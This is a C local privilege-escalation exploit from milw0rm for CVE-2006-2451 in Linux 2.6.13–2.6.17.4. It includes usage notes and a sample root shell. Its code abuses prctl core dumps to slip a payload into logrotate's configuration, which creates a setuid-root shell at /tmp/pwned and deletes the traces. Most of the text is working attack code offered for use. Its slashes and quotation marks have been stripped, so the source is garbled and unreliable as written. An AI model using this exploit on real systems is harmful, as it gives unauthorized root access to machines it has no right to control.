$Id raptor_prctl2.c,v 1.3 20060718 131645 raptor Exp $
raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
Copyright (c) 2006 Marco Ivaldi raptor@0xdeadbeef.info
The suid_dumpable support in Linux kernel 2.6.13 up to versions before
2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via
the PR_SET_DUMPABLE argument of the prctl function and a program that causes
a core dump file to be created in a directory for which the user does not
have permissions (CVE-2006-2451).
This exploit uses the logrotate attack vector of course, you must be able
to chdir() into the etclogrotate.d directory in order to exploit the
vulnerability. I've experimented a bit with other attack vectors as well,
with no luck at (varspoolatjobs) uses file name information to
establish execution time, etccron.hourlydailyweeklymonthly want +x
permissions, xinetd (etcxinetd.d) puked out the crafted garbage-filled
coredump (see also httpwww.0xdeadbeef.infoexploitsraptor_prctl.c).
Thanks to Solar Designer for the interesting discussion on attack vectors.
NOTE THAT IN ORDER TO WORK THIS EXPLOIT MUST BE STATICALLY LINKED!!!
Usage
$ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
[exploit must be statically linked]
$ .raptor_prctl2
[please wait until logrotate is run]
$ ls -l tmppwned
-rwsr-xr-x 1 root users 7221 2006-07-18 1332 tmppwned
$ tmppwned
sh-3.00# id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
sh-3.00#
[don't forget to delete tmppwned!]
Vulnerable platforms
Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
#include stdio.h
#include unistd.h
#include stdlib.h
#include signal.h
#include sysstat.h
#include sysresource.h
#include sysprctl.h
#define INFO1 raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
#define INFO2 Copyright (c) 2006 Marco Ivaldi raptor@0xdeadbeef.info
char payload[] = commands to be executed by privileged logrotate
nvarlogcore {n dailyn size=0n firstactionn chown root tmppwned; chmod 4755 tmppwned; rm -f etclogrotate.dcore; rm -f varlogcoren endscriptn}n;
char pwnage[] = build setuid() helper to circumvent bash checks
echo main(){setuid(0);setgid(0);system(binsh);} tmppwned.c; gcc tmppwned.c -o tmppwned &devnull; rm -f tmppwned.c;
int main(void)
{
int pid;
struct rlimit corelimit;
struct stat st;
print exploit information
fprintf(stderr, %sn%snn, INFO1, INFO2);
prepare the setuid() helper
system(pwnage);
set core size to unlimited
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
let's create a fake logfile in varlog
if (!(pid = fork())) {
chdir(varlog);
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
let's do the PR_SET_DUMPABLE magic
if (!(pid = fork())) {
chdir(etclogrotate.d);
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
did it work
sleep(3);
if ((stat(varlogcore, &st) 0)
(stat(etclogrotate.dcore, &st) 0)) {
fprintf(stderr, Error Not vulnerable See comments.n);
exit(1);
}
total pwnage
fprintf(stderr, Please wait until logrotate is run and check tmppwned;)n);
exit(0);
}
milw0rm.com [2006-07-18]
97av